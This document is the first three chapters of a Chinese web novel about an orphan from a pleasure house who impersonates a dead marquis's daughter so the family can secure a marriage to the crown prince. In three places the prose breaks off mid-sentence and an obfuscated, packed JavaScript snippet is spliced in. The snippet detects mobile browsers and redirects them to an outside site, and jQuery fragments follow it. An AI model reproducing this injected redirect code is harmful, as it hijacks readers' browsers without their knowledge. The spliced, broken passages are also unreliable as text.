《她已经从良好多年》 1. 下船 从陇州来的船,是巳时靠的岸。 薛家二小姐,正由外祖家的舅舅护送回京。 是谷雨时节,阴凉处风吹着很冷,露天处又日晒着很热。 薛家的轿子排成一溜,已在码头上等着接。 薛夫人崔婉清遣散身周一众丫鬟婆子,率先上了船接人。 有些规矩虽在半月前叫丫鬟教过她了,但她不亲眼见了人,终是不放心。 尹采绿缓缓睁开眼,在船舱里一连晃了半月,望着被推开的舱房门,此时正半梦半醒地出神,意态显得慵懒。 船舱外有交谈声,翠影将她扶起来。 “二小姐,夫人来了。” 翠影给她换上一套形制华贵的锦衫长裙,质地上乘。 瞧见那衣裳颜色,尹采绿下意识地皱了眉,但触及之时,眉头很快舒展开。 她额间沁着薄汗,翠影拿手帕给她擦拭干净。 “待会儿见了人,都知道该怎么表现了吗?” 尹采绿点头,又要拿起梳妆台上的脂粉往脸上扑,翠影阻止她。 尹采绿疑惑抬头。 翠影道:“忘了交代你了,二小姐素来不喜铅华粉黛,称神韵自有天成。” 尹采绿讪讪收回手,铜镜里眼尾轻抬,翻上一层睫毛,露出的瞳仁黑亮,一抹若有若无的风情便悄然溢出,她连忙垂下眼。 薛二小姐的箱笼很多,渡口上,薛家来的人员不少,正来来回回搬着。 这其中属于尹采绿的东西,不过一把掉了漆的琵琶。 二小姐离京时才七岁出头,十年过去,打头的丁管家有些认不得她了。 不过见了那位身着华服的年轻小姐,自是上来带着全家下人齐刷刷跪地行了一礼:“请二小姐安。” 尹采绿挪动绣鞋退后了两步,堪堪稳住身形,深吸一口气,余光里又见着那位之前捡了她的夫人。 “母亲。”她端着两只手,一寸一寸挪动脖子和下巴的角度,直到低头到一个谦逊有礼的姿态,屈膝称呼对方。 之前被教过的,见了这位夫人,便要称呼“母亲”。 崔婉清打量了眼前人姿态几眼,倒还满意,看来这半个月在船上,两个丫鬟叫她教得不错。 “静蕴连月赶路辛苦,快免礼。” 尹采绿站直了身子,又学着崔婉清那般模样,对丁管家道:“丁管家免礼。” 下人们却没起来,又朝着后面出来的男子道:“请舅老爷安,护送我们二小姐辛苦。” 尹采绿差些又要往后退两步。侯府的下人多,又都是清一色的灰绿衣衫,剪裁合身,头戴毡帽,脚蹬皂靴,头脸干净,皆是规规矩矩的。 问安的声音齐整,又洪亮,尹采绿虽畏惧这阵势,心中也欢喜。 这地方是个官渡码头,来往客人不免要好奇看看,薛家迎回来的二小姐是何等模样,可惜薛家仆人堵得严实,就看到个裙边儿。 “码头上日晒,夫人、二小姐、舅老爷,先上轿,咱们回府,老太太候着呢。”丁管家姿态恭敬。 薛二小姐要上轿,侯府规矩大,家丁们都垂首敛目转身避让,有几个仆妇上来搀扶。 再看搀扶她的仆妇,穿着比起小门户的当家娘子竟也不差。 仆妇丫鬟们偷偷打量着离家十年的二小姐,当初粉雕玉琢的小姑娘如今出落得端庄娴静。 一对弯弯细眉,连着鬓角,底下是一双狐狸眼,裹得严实的深绿衣领上端着一个尖尖下巴,下巴上,露出桃花瓣般的一颗唇来。 被人搀着上轿时,那姿态是庄严的,可不知怎的,拎着手帕子钻进轿帘时,那腰肢莫名透出几分风流来。 管家媳妇只看了一眼,便收回眼。 在陇州长大的薛二小姐不仅诗画双绝,品性更是贵重,这些早已是人尽皆知的名声了。 崔婉清落后几步,要稍晚一刻上轿。 舅老爷崔景生回到船上收捡最后的行李。 见妹妹进来了,朝她叹了声气。 崔婉清先道:“多谢哥哥帮我将她送来。” 崔景生朝四周看了看,见无人,低声道:“静蕴自幼体弱,这才送回了常年温暖如春的陇州教养,若不是你一定要她回京,她也不会在半路……”话不说完,他不忍伤妹妹的心。 “静蕴已经十七岁了,太子也已及冠,她若不回京,难道要将太子妃之位拱手让人吗?”船上一场风寒便让静蕴病逝,这谁能想得到呢,崔婉清又如何不伤心呢,说到这,话里全是无奈。 崔景生只能喟叹,又指着船舱外那个已经上了轿的身影:“你确定她就能给你想要的?” “已经失了女儿,更不能再失去太子妃之位。”崔婉清望着船舷外的软轿出神,又转头朝哥哥道:“哥哥,你不觉得,她与静蕴真的长得很像吗。” 太子妃将来会是个什么前途,又能给家族带来多少尊贵,此话自不必多说。 “形似,神不似。” 崔景生又道:“此事除了你我和船上的人,还有何人知晓?” 船上人不多,唯有薛静蕴的两个丫鬟,翠影和竹萱。 崔婉清道:“你递我静蕴死讯时,侯爷与大公子,都知道了。” 外头丁管家又来催他们上轿,崔景生低声道:“此事绝不能再让其他人知道,走出这一步,就收不回了。” 三位主子都上了轿,丁管家命引路的小厮在前面噼里啪啦放了几挂鞭炮。 很快,薛家二小姐被舅老爷送着从外祖家回京的消息,就传遍了盛京城。 总有少数知道内幕的,私底下会调侃:“这是先皇后定下的太子妃,回来嫁太子来了。” 这闲话终是传到了盛京城内朱雀桥边名为清风楼的酒肆里。 “薛家二小姐……好似不曾听过,可是娘娘曾说起的那位,崔家的表小姐?” 提起早逝的妹妹,威远大将军唐洪辉多饮了杯酒,又不得不关心起太子的婚事来。 “你母后替你选的太子妃,你是何想法?” “天日尚早,舅舅别贪杯。” 对面男子一袭青衫,广袖流云,指尖轻叩桌面,不急不躁,制止了这杯酒。 又道:“父皇说起的南方藩王一事,舅舅有何头绪?”太子声音温厚。 唐洪辉没搭理太子,兀自走到窗边,薛家的三抬轿子正从窗下过。 “你已年过二十,若还不娶妻,难道要看着三皇子府诞下皇长孙?” 太子赵清起身,母后崩逝后,贵妃得盛宠,连带着从前毫不起眼的三皇子子凭母贵,如今在朝堂上多处掣肘他。 “大局未定,孤无心娶妻。” 话音落下,他正好走至窗边,不得不垂眸看去。 三顶轿子,一顶淡粉软绸垂流苏,一顶朱漆描金绘牡丹,一顶藏青缂丝滚褐边,薛家乃百年侯府,朱门绣户,讲究。 头一顶的轿子里,翠影看着那双熟悉的眼睛,强压下悲伤的情绪,深吸了一口气说道:“给你看过的老太太、侯爷、大公子、以及二房、三房长辈的画像,你可都记住了?” 尹采绿点点头,抿唇微笑:“嗯嗯。” 她笑起来时,唇角变薄,勾起两抹弯弯的弧线。 “记不住也没关系,离家十年,我们小姐本来也忘得差不多了。” 翠影又道:“既然做了我们二小姐,你就一辈子是我们二小姐,万万不可露出破绽,否则不光是我们,你也一定活不了。” 尹采绿愣了愣,又点点头,一辈子做薛二小姐,她愿意的,她垂眸盯着脚上镶珍珠的绣鞋心想。 直到映入眼帘的乌漆实木的大门上一对铜制兽首衔环,门楣之上,黑底金字的匾额高悬,上书“薛府”二字。 轿子停下,门口自有众人仆妇恭迎。 尹采绿撩开马车帘子偷瞥了一眼,看到匾额旁的赤红印章,翠影在一旁提 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15529041|170790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点:“那是御印,代表御赐之意。” 进了门,由竹萱搀扶着,换了软轿,又迎上来了一堆早在那儿等着请安问好的丫鬟仆妇。 “二小姐安。” 来了个一身绫罗的老嬷嬷,问了安,端着手对她道:“老太太说,让二姑娘先回静竹苑去歇息收拾片刻,申时再到正堂请安用饭。” 尹采绿正不知怎么回答,崔婉清道:“老太太体贴孙女儿。” 又侧头看向尹采绿,笑着道:“你好多年没回来,怕是忘了你的静竹苑了,先去认认路也好。” 邓嬷嬷作势朝后方望了望,又道:“舅老爷呢,侯爷还等着叫他一同吃酒呢。” 崔婉清摆手道:“他哪能进了这二道门来,早去前院儿了。” 邓嬷嬷又将视线挪到尹采绿身上:“既然见了二小姐平安到了,老奴这便先回禀老太太去,瞧二小姐出落得漂亮,老太太见了一定高兴。” 尹采绿正思忖,要作何回答,最后抿了个笑出来,抿得浅,无端生出几分朦胧的狡黠。 睫羽低垂时,手臂被人撞了一下,是翠影,朝她递了个眼色。 她抬眼一看,来者是位公子。 尹采绿打量他,称呼道:“大哥。” 薛明澜身着玄色袍服,大步走来,先是打量了她几眼。 似是考虑到在场人多,紧抿的唇终是张口:“妹妹,一路辛苦。” 他团在腰后的拳捏紧,衣领下束着的脖颈起了青筋,崔婉清见状,伸手扶了儿子一把。 十年未见的“妹妹”回来,如何不激动,又如何不伤心? 崔婉清朝翠影使了个眼色,翠影扶着二小姐:“咱们先回静竹苑。” 尹采绿乖乖跟着走,走得虽小心谨慎,一路上还不忘偷偷打量。 她的院落在左侧,一路走,布局阔朗,是新翻修过的。 穿过几进门,再绕过几道游廊,只见一道垂花门,进入垂花门,是一座竹雕的影壁,影壁前一盆造型被修剪得雅致的迎客松。 “就是这儿了。” 只见院子收拾得十分干净,院中种着一颗桂树,回廊上摆着许多玉兰。 一走进来,才瞧见屋檐下还站着一溜七八个丫鬟,都穿着一色的翠色交领褂子。 翠影和竹萱两个穿的是豆绿色衣衫。 “她们是?”遇事不懂,尹采绿习惯将目光投向翠影。 翠影道:“这是老太太挑来服侍小姐的,竹萱,你去安排一下她们。” 尹采绿两只手端在腹前,拎着根手帕子,眼皮略垂,眼尾却翻起一些,悄悄看着竹萱吩咐她们: “你,还有你,负责洒扫。” “你负责针线。” 尹采绿手指悄悄摩挲着丝帕角,眼珠子灵动却极不显眼地转着,看着眼前一切,唇角抑制不住地弯起。 耳坠上的碧玉晃了晃,翠影搀着她:“小姐,该回房收拾了。” 进了屋,翠影叫她先在临窗设着的湘妃竹榻上坐下,又往她腰上塞了个软垫。 尹采绿腰肢软软靠上去,端了一日,是有些累了。 哦,不止端了一日,是从薛夫人半月前送她上船,将她交给翠影和竹萱开始。 “你先在这儿坐一会儿,等老太太那边来人通传咱们过去。” 翠影将她放在那儿,正要去忙自己事儿,叹了声气,又转头朝她道:“你一路都表现得很好,待今晚过了老太太那一关,我会替你找夫人讨赏。” 尹采绿抬眸望她,眼珠子有些发亮。 “对了,我们小姐有本诗集,你趁着这两日,尽快背下来吧,免得以后露馅儿。” 翠影递给她一本,尹采绿侧头去看,叫……《玉肖×》 船上整日晃得人头晕,这诗集用得也不紧急,便现在才叫她背,左不过只二十来首,来得及。 “《玉屑集》,我们小姐呕心沥血之作,别背错字了。” 2. 拜帖 “《玉屑集》,这是何物?” 赵清伸手接过唐洪辉递来的诗册。 “臣替殿下打听了,这薛二小姐在陇州颇有才名,这本《玉屑集》正是她所作,殿下不妨先看看。” 赵清直视舅舅的眼睛,觉得舅舅在浪费他的时间,不谈正事,谈什么诗集。 “这是你母后为你选定的太子妃,至少应该先见见,再说三皇子娶妻都已满一年了,你若再不考虑,皇上就要替你考虑了。” 唐洪辉将诗集塞进他手里,拍着太子的肩道:“别辜负你母后的心意。” 赵清终于将目光落在那本诗集上。 他大拇指摩挲书封,实在很想念母后。 “那便,请舅舅替孤往薛家下拜帖吧。” 唐洪辉笑:“太子谦逊。” 翠影觉得,她的眼睛跟二小姐真的很像,都是狐狸眼。 尹采绿正坐在梳妆台前,她在妆容衣服上本是生性灵巧,化什么妆簪什么钗俱是有想法的。 但此时只能乖乖坐着,任由翠影替她操持。 操持出来的形象,就像是在盛京城,在这百年侯府大宅子里,活了十多年的千金,一点新意也没有的。 这样挺好,翠影要的就是这样的效果。 不过二小姐的眸子沉静似古潭,眼尾弧度虽也柔和,却始终有种距离感,清冷而端庄,让人不敢轻易靠近。 眼前这位跟二小姐,眸子有时太轻佻了。 想到这儿,翠影觉得自己话说早了,光是过老太太那一关有什么用,她得过了太子那一关。 没过多久,尹采绿浑身上下又被换了一套行装。 她站在铜镜前不住地打量自己,真是阔气。 来接她的却不是老太太那儿的人。 “请大公子安。” 此处没有外人,薛明澜垂眼审视尹采绿,没再叫她“妹妹”。 尹采绿却乖乖叫了声:“哥哥。” 翠影教过的,见了这位眉毛锋利的公子,就得叫哥哥。 薛明澜只抬了一眼:“母亲说得对,你与我妹妹,确实生得很像。” 他步子迈得很大,尹采绿要走更快些才能跟上。 “不过,你与她,永远是云泥之别。” 尹采绿跟在他身后,垂着脑袋在想,自己还有何处需要改进?哪儿还差了? 待穿过了两条游廊,薛明澜才听到身后那轻浅得像蚊子嗡嗡的声音传来:“我会继续好好学的。” 薛明澜冷哼一声,她以为她是谁,学就能学得像了么。 “你露出破绽不算什么,你若是敢毁我妹妹德行,我会替父亲母亲打断你的腿。” 尹采绿在他身后五步远的地方,忽地停下脚步,哆嗦了一下。 薛夫人捡到她时,她只说她是从小流浪的孤儿,也不知薛夫人是不是真的信了。 但薛夫人再没多问过,许是并不在意真相吧。 她不知道,从薛夫人带她到酒楼,而她狼吞虎咽吃了一顿大席开始,她就被人认为好掌控得很了。 其实她只是饿了很久很久,不是没吃过好东西。 如今的尹采绿不想被打断腿,她想每日穿着这华服,住着深宅大院,使唤七八个丫鬟…… 听说侯府传承已有百年,应当不至于像玉笙楼那样,猝不及防地垮掉…… “脑袋放清醒点,盛京遍地都是贵人,谁都能要了你的命。” 在薛明澜看不见的地方,尹采绿又哆嗦了哆嗦,随后狠狠点头。 又意识到自己点头对方看不见,正要出声,对方已经迈入了正堂。 尹采绿随后跟上。 “总算来了,二小姐人真是贵重,老太太是每日念着哟。” 廊下站着的,是个穿着秋香色对襟大袖衫的妇人,身形高挑,走上来头一句话就是贴着尹采绿耳朵说的,嗓音不小。 尹采绿脑中一阵慌乱,才从脑海里搜寻出来画像。 “二伯母。” 二伯母是个热心肠呢,搀着她的胳膊,说不出的亲热爽利。 “老太太说,好不容易得个嫡亲的孙女儿,幼年一走就到外祖家住了十年,她老人家心里挺不痛快呢。” 尹采绿不知该回些什么,只是笑笑,那,那怎么办呢? 可又想到,翠影刚刚说的,若她今晚能过了老太太这关,就替她找夫人要赏。 可她又实在不知该怎么办,老太太心里不痛快,她又不能让时间倒退个十年,叫薛静蕴别走。 这一慌一急之间,尹采绿就被正堂那六寸高的门槛给绊了一下。 这一绊,她腿脚是不要紧,满屋子的女眷倒都来搀扶她了。 “二姑娘!绊着了可怎么是好。” 端坐高堂的老太太见了,也是一阵蹙眉惶恐,这丫头自小体弱,别又绊出个什么毛病来。 不少本挤在老太太身前凑趣的丫鬟仆妇,也都忙来看二小姐。 见她无事,松了口气,又挨个朝她行了礼。 “请二姑娘安。” “二姑娘可有哪处伤着了?” 尹采绿一阵受宠若惊,假扮薛静蕴的这件事情,她简直想永远做下去。 只是……刚刚绊了一跤,与薛静蕴形象不符,她有些失落,悄悄去看薛夫人的脸色,赏怕是没了。 尤其是“哥哥”薛明澜的脸色,都快阴沉成黑炭了。 老太太的正堂隔了三间,如今虽已至谷雨时节,老人家年过七旬,还住在暖阁里。 暖炕上铺着金丝牡丹的垫子,摆着瓜果。 厅里则摆着一张大圆桌,女眷都围坐着。 老太太被丫鬟婆子们簇拥着,朝她略招了手:“二丫头,快来祖母这里瞧瞧。” 话是这样说,老太太跟前的婆子已经将垫子递到尹采绿身前了。 尹采绿记得翠影教过她的规矩,跪下先磕了头。 “请祖母安。” 这才被人扶起来,牵到了老太太跟前。 薛老太太一眼瞧见她,只觉自己这长房的嫡出孙女儿生得跟神仙妃子一样,连忙拉到跟前:“还认识祖母不?” 崔婉清答:“走时都七岁了,哪能不认得您呢。” 尹采绿不知从脑子何处搜寻出一句翠影的话来,忙答:“祖母每年夏天都让管家送庄子里新产的蜂蜜来陇州给我,静蕴每天喝着,哪能忘了祖母啊。” 老太太听了她这番轻轻柔柔的话语,心里熨帖得不行,愈发觉得她好,还是自己长房嫡出的孙女儿好。 亏得二房那口子每天说着,二姑娘不回来,就把太子妃的婚事让给三姑娘。 且不说先皇后本就是与崔家交好,才得来的亲,更别说这三姑娘何处比得上二姑娘。 别说三姑娘,家里这一众姑娘加起来,都比不上二姑娘。 二夫人笑着道:“二小姐回来了,老太太可与她亲着吧,可怜二小姐幼时一个重病就一去十年,刚刚这绊的一跤,可别又将人绊走个几年。” 这话说出来,老太太脸色不好,崔婉清脸色更是难看。 尹采绿倒还觉得二伯母心善又热情,是个热心肠,忙对她道:“二伯母,我现在腿脚可好着呢,绊一跤而已,就是摔个跟头,也没事的。” 她往腿上敲了两下,好展示腿脚,作势还要起来走两步,被崔婉清摁了回去,递给她一个警告的眼神。 尹采绿忙垂下头,端端坐回去,险些又要露馅了,真是不该。 不过老太太笑了:“看来陇州养人不假,既然好了,那就好好在祖母跟前待着待嫁。” “不过,三个月前就说出发了,从陇州至盛京,不过一月功夫,何故走了三月?” 崔婉清心说,人走了半月,病了半月,治丧花了一月,找来替身又花了半月,重新上路回来,可不正好三个月嘛。 可这么悲伤的事情,她也只能往肚子里咽,否则就功亏一篑了,家里如今急需太子妃之位。 侯府里是有个爵位不假,可大公子已经及冠多年,圣上毫无准他袭爵之意,盛京都传, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15529042|170790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 薛家从太太太太爷跟开国皇帝立功得来的爵位,传到现在应该是到头了。 哪有长久不衰的世家呢,侯府屹立百年,风水都六十年一变呢。 “婆母,静蕴打小身子不好,一路上只能走走停停的。”崔婉清无奈说着。 老太太还能说什么呢,反正要做太子妃的孙女已经人到眼前了。 “回来了就好,回来了就好,婉清,既然人回来了,事情你也该推进推进了。” 什么事情,自然是把女儿嫁给太子的事情。 此事,崔婉清倒还有点为难。 当年先皇后只留下个口谕,虽说盛京里许多人都知道这件事,可两个孩子如今到了年龄,先皇后却已经不在了,还有谁能主动为先皇后的口谕做主呢。 没有人做主,难不成薛家硬把二小姐送到太子府去? 不敢奢望能得到皇上亲自下旨,此事如今唯一的指望,便只有太子了。 太子到了该娶妻的年纪,自去请示皇帝,说,要娶他母后当年指定的太子妃,便行了。 事情说难也不难办。 二夫人撇了撇嘴,大房那么稀罕的太子妃之位,倒要看看她们怎么得,薛家近些年与太子毫无交集,倒也不是不愿意交际,是家族式微,除了侯爷以外,子侄们也最多仰仗着祖荫做个五品、六品官,再爬不上去了。 老太太也琢磨起来:“盛京城里平日的宴席不少,可寻常那些赏花游园的、饮酒射箭的,太子也不会到场,当务之急,还是要让两个孩子先见上一面再说,太子见了静蕴,自会喜欢她的。” 薛静蕴素有才德之名,在陇州是极出名的,现在见了人,又生得这般好看,老太太心里觉得,自家侯府就要红火起来了。 说到这,老太太顿了顿,叫二姑娘起来与二房三房的姑娘们挨个见了礼。 随后干脆挥挥手:“你们两房无事便先回去吧。” 从大房袭了爵位开始,薛家三房早已分了家,住在连城一排的三栋大宅子里。 一番见礼过后,房中只剩下婆、媳、孙女三人,连带几个最亲近的丫鬟婆子。 崔婉清道:“最近的宫宴便是端午了,到时可让他们见面。” 老太太迟疑道:“那也还有一个多月呢。” 老人家等不及,巴不得孩子明天就入主东宫,后天就能帮着哥哥弟弟们安排差事。 崔婉清却不急,她皱眉看着那乖顺坐在老太太身边的女子,还有的是规矩要她学呢。 不过她捡的这个姑娘看着不傻,人挺机灵的,也是好事。 这天过后,崔婉清给了翠影一本《女诫》。 崔婉清是只图结果的:“这是能最快将她教养得体的方法了,嫁到皇家,我只要她不出错。” 准确说来,只要她展现出来的外表不出错,至于她本身是个什么样的人,脑子里在想什么,都不重要。 崔婉清私心里,其实也不愿意让她真的得了什么荣宠,那些是属于她自己女儿的东西。 尹采绿坐在凳子前端,屁股只挨着一点凳子,脊背挺直,双肩平整。 整体姿态看上去极为端正,说是宫里嬷嬷从小比划着教养出来的也不为过。 尹采绿在摆弄身体姿态这一行上,是有天赋的,从前最难学的那套柳腰花态的身段儿,整个楼里也就她学会了。 在薛府的规矩学了没几天,东宫的拜帖递来了。 崔婉清还有些诧异,老太太却高兴得很。 “静蕴是先皇后亲口指定的太子妃,太子怎么可能不上心,这不就来了?” 崔婉清扯起嘴角应道:“说得正是呢。” 尹采绿默默听完一家子谈话,心中越发忐忑起来。 她知道薛夫人捡回自己的目的,她身上穿的,每天吃的用的,都不是白来的。 她若是不能成为太子妃,这些好处便都是要被收回去的。 想到这儿,她深吸了一口气,求助地望向翠影。 小声问道:“我可还有哪里学得不像?” 3. 太子入府 翠影从头到尾打量她几眼,摇头:“无一处不像。”光看外表。 细究起来,从前的薛静蕴,还没她这么规矩呢。 可半夜躺在榻上的尹采绿,心中还是忐忑得厉害。 翠影给她的那本《玉屑集》,她还一个字都看不懂的。 可她不敢说出来,薛夫人捡她的时候,待打量了她泥脸下的容貌,问的第一句话就是:“认字吗?” 她认识一些简单的字,楼里待客不需要她会太多字,但她当时直觉回答薛夫人:“认字的。”果然就被带去酒楼大吃了一顿,薛夫人还给她买了套新衣裳。 事已至此,左不过薛家教她的,她都学会了,若再拿不下太子,她也还有绝技在身,这么想想,也没什么好怕的。 薛府许久未曾待过这样的贵客了。 管家丁瑞,带着他的管家媳妇,带着丫鬟们、家生子们,一早候在门前,生怕没把这位贵客给迎进来。 人家贵客帖子上说了午时过后到,薛家下人是辰时开始候在门前的。 崔婉清没想到太子来得这么快,都还没来得及给尹采绿裁制新衣裳,只好带她先到锦绣坊买件成衣。 这一路上,崔婉清没忘了做最后的嘱咐。 “当务之急,一是不能露馅,二是要取得太子喜爱。” 太子喜爱虽不那么重要,也不是崔婉清要的目的,可总得先让人嫁过去不是。 婚事不成,什么都是白来。 尹采绿迟疑了一下,侧着下巴问道:“太子的喜好?” 太子的喜好崔婉清也不清楚。 不过太子素有贤德之名,为人正派,喜好总是符合某些标准的。 “你就恭敬谨慎些,仪态要端庄,说话做事要谦逊温顺,严守礼法,就像《女诫》上写的那样。” 尹采绿若有所思地点点头。 到了锦绣坊,尹采绿看着那些花花粉粉的裙子眼睛发亮。 崔婉清给她挑了一件藕荷色的杭缎襦裙,上襦绣着缠枝纹。 “行莫回头,语莫掀唇。” 她想回头照镜子,崔婉清按住她。 她闭上嘴,暗自在想,如何语不掀唇? 腰间系着同色宫绦,坠下一枚玉来,走起路来,下裙若流云舒展。 “行走间,要动静有度。” 尹采绿不敢迈步了。 走路时如何将腰肢扭得风情万种,她倒是极为擅长。 崔婉清道:“你之前已经学得很好了,继续保持便是。” 尹采绿回府的时候,早有仆妇过来搀扶,前呼后拥的,将她千金闺秀的架子抬得很好。 到了午时,一家子人饭也没用,生怕在贵人面前出丑,再说侯府本也是讲规矩的人家。 尹采绿捂着饿肚子,终于等来了太子。 太子十分守时,说是午时过后,便一刻也没晚。 家中的小姐们都被赶回了内院儿,唯独一个二姑娘由夫人陪同着留在前院儿。 两人有先皇后口谕的婚事,于男女大防之事上,倒不必多避讳。 只叫二小姐先隐在屏风后面,等待时机出来见面便是了。 太子是步行前来的,薛府一开始在门前备好的脚凳人凳的,都没派上用场。 薛府也不是真的没待过贵客的府邸,只是近些年没那么红火了。 下人们簇拥着太子进府,管家丁瑞连声道了恭迎,剩下的人齐刷刷跪了一片。 尹采绿偷瞧着,竟比自己当初下船的声势还要闹得浩大。 这就是侯府的声势吗?哦不,这就是太子的待遇吗? 人被簇拥着,穿过花厅过来了,尹采绿连忙躲进屏风后。 太子走路时步子迈得很大,丁瑞要小跑着抬手引路:“殿下这边请。” 太子经过之处的下人,倒觉得像有一阵风拂过一般,抬头看去,那人的衣摆只轻微掀起,双手垂于身侧,说不出的尊贵气度。 赵清刚与太傅见了一面,拜别后便赶来。 舅舅虽叫他来薛府一趟,太傅却提点了他一顿。 “大局未定,三皇子一党处处设伏,殿下还有心思去薛家,恕臣直言,太子妃一事,还需斟酌。” 依太傅的意思,薛家如今不是能给太子助力的岳家,将这婚事拖下去也就罢了,另外择女再娶。 赵清心里想的却不是什么娶不娶的,他就是想来看看,母后多年前便为他挑中的太子妃,究竟是何人物。 是否,有他母后的影子。 这般想着,倒也从百忙之中抽出了一下午的空闲。 唐洪辉也是这么个意思,妹妹挑的人,再怎么也该见见,若太子见了喜欢,婚事能成,妹妹在九泉之下也能有些安慰。 扫清脑中思绪,太子进了薛家待客的前厅。 薛府的第五代侯爷,薛兴昌,亲自迎了太子。 “给太子请安。” “免礼。” 赵清提袍于主位坐下,薛兴昌忙叫妇人端茶上来。 太子不愿在此地多耽搁时间,开门见山道:“听闻府上二小姐前些日子抵京,一路可还顺利?身子可大好了?” 出于礼数,赵清来之前,专找人问清楚了薛小姐情况的,他到薛府来问候一番,也合情合理。 听太子这么问,崔婉清简直眼泪都要出来了,她可真想抓着太子手臂哭诉一番:“不好,不顺利,我可怜的女儿,病逝在了半路上,求太子多怜惜怜惜那缕芳魂。” 崔婉清只答:“回太子的话,静蕴身子已大好了,一路都还顺利,静蕴,出来见过太子。” 身子要是不好,就不能为皇家开枝散叶,就不能当为太子妃。 她捡来的那位,食量不小,腿脚也好,洗干净脸一看气色就很好。 崔婉清唤了尹采绿一声,见太子并未阻止,才松了口气。 太子愿意见,就说明至少在礼教这方面,是认可同她见面的。 尹采绿听见人喊她,便知道自己是骡子是马,是时候出去遛遛了。 从屏风后面绕出来前,还是含羞带怯的神情,又想起学了这么多天的规矩仪态。 行至堂前时,已是敛衽行礼的姿态,广袖垂地,双手端平,眉眼低垂,面目温婉而含蓄。 是极美极端正的一个女子。 “给太子殿下请安。” 是轻轻柔柔的声线,略有些乖巧的语气。 崔婉清觉得,她的声音还不似自己女儿那般清冷疏离,有点小家子气。 赵清点点头,浅笑低眉,招手,内侍文文上前,递上一锦盒。 “免礼,初次见面,这是送小姐的。” “多谢太子殿下。” 尹采绿虽感到有些受宠若惊,却忍着继续将每一个动作都捏得恰到好处,脊背挺直,姿态优雅。 赵清观她,自然明白母后为何点她为太子妃。 幽娴贞静,谦逊恭谨,行己有耻,动静有法。 他垂眸,虽无甚惊喜之处,却也无甚不妥之处。 既然是母后的意思,该她的太子妃之位,便是她的吧。 只一点,他大业未成,朝堂上向来风云变幻,不知结局如何,她是否愿意再等等,或寻别的人家。 可此事不好直接问,还要寻机再说。 尹采绿双手伸出,手上盖着丝帕,太子亲手将锦盒放到她手上。 扫了眼她丝帕下微颤的指尖,颤得极不明显。 她在害怕。 “听闻小姐擅作诗?”赵清忽然开口,他想起舅舅给他的那本诗集来,聊些她擅长的话题,好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15529043|170790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叫她减轻些害怕。 不过此诗集他还未曾来得及翻开看过,只愿薛小姐能擅谈一些。 毕竟他在此地还未待满一炷香。 崔婉清和薛兴昌见太子愿意主动询问,心中自是高兴的。 可又担心,她应付得来吗? 尹采绿稳住声线答:“回太子,不敢称擅,只略会作几首白话诗。” 太子皱眉,自己未曾翻阅《玉屑集》,自然不知她说的话是真是假。 不过不难想到,她应当是在谦逊,谦逊是女子美德,她当真是叫人挑不出“错”的女子。 册立太子妃一事是国事,太子没有个人想法,也谈不上掺杂喜好,更不会主动去违逆母后口谕。 赵清往四周看了看:“府中可有赏景散步之处?” 堂堂侯府,怎会没有。 崔婉清经营后宅多年,哪会不懂太子之意。 “有的,叫丫鬟小厮们远远跟着就是,可叫静蕴带太子在府中逛逛。” 要让崔婉清说,她捡回来的这女子,别的不说,容貌是绝对没得挑的。 太子起身朝外走去,尹采绿还保持着刚刚的动作站着,只觉一阵风拂过,回头时,那人已行至室外。 他微微侧身,下颌轻点,不直视小姐,却是等小姐走到他身边去的意思。 崔婉清朝尹采绿递了个严厉的眼神,尹采绿便知道,现在到了极为重要的时刻了。 她走到太子身后略有三尺的地方停下,太子不动,她便又往前挪了挪。 直到离太子一尺远,太子朝她颔首:“小姐带路。” 尹采绿带着太子步入了薛府一条由锦幛围起来的小路,她觉得这条路被装饰得颇为鲜艳好看。 只见路两边春意盎然,树木都发了新芽。 就是,有点热,还有点饿。 走着走着,身后一长截路,便都是没有丫鬟小厮的。 崔婉清早吩咐过下面那些人了,太子想与二姑娘单独待着,不必叨扰。 只太子的内侍文文跟着。 两人到了一间八角亭中坐下,四周是桃林。 太子与她坐下有攀谈之意,文文在桌上沏了茶。 赵清指尖摩挲着茶盏边缘,仍未曾直视小姐,但他要揣摩她的心意,不得不抬眸看向她,眸色温和。 “孤没有母后帮扶,处世总比旁人要艰难些。” 尹采绿怔住,这,这是何意? 赵清不是自大轻狂之人,他如今在朝堂上确有难处,若她为太子妃,就要与他一同面对这些难处,事情合该与她讲清楚。 “贵妃盛宠,父皇如今疼爱三弟更多些,薛二小姐,你明白孤的意思吗?” 尹采绿默默听着,只觉太子嗓音温润,一字一句漫过耳畔,叫她连呼吸都不自觉跟着放缓。 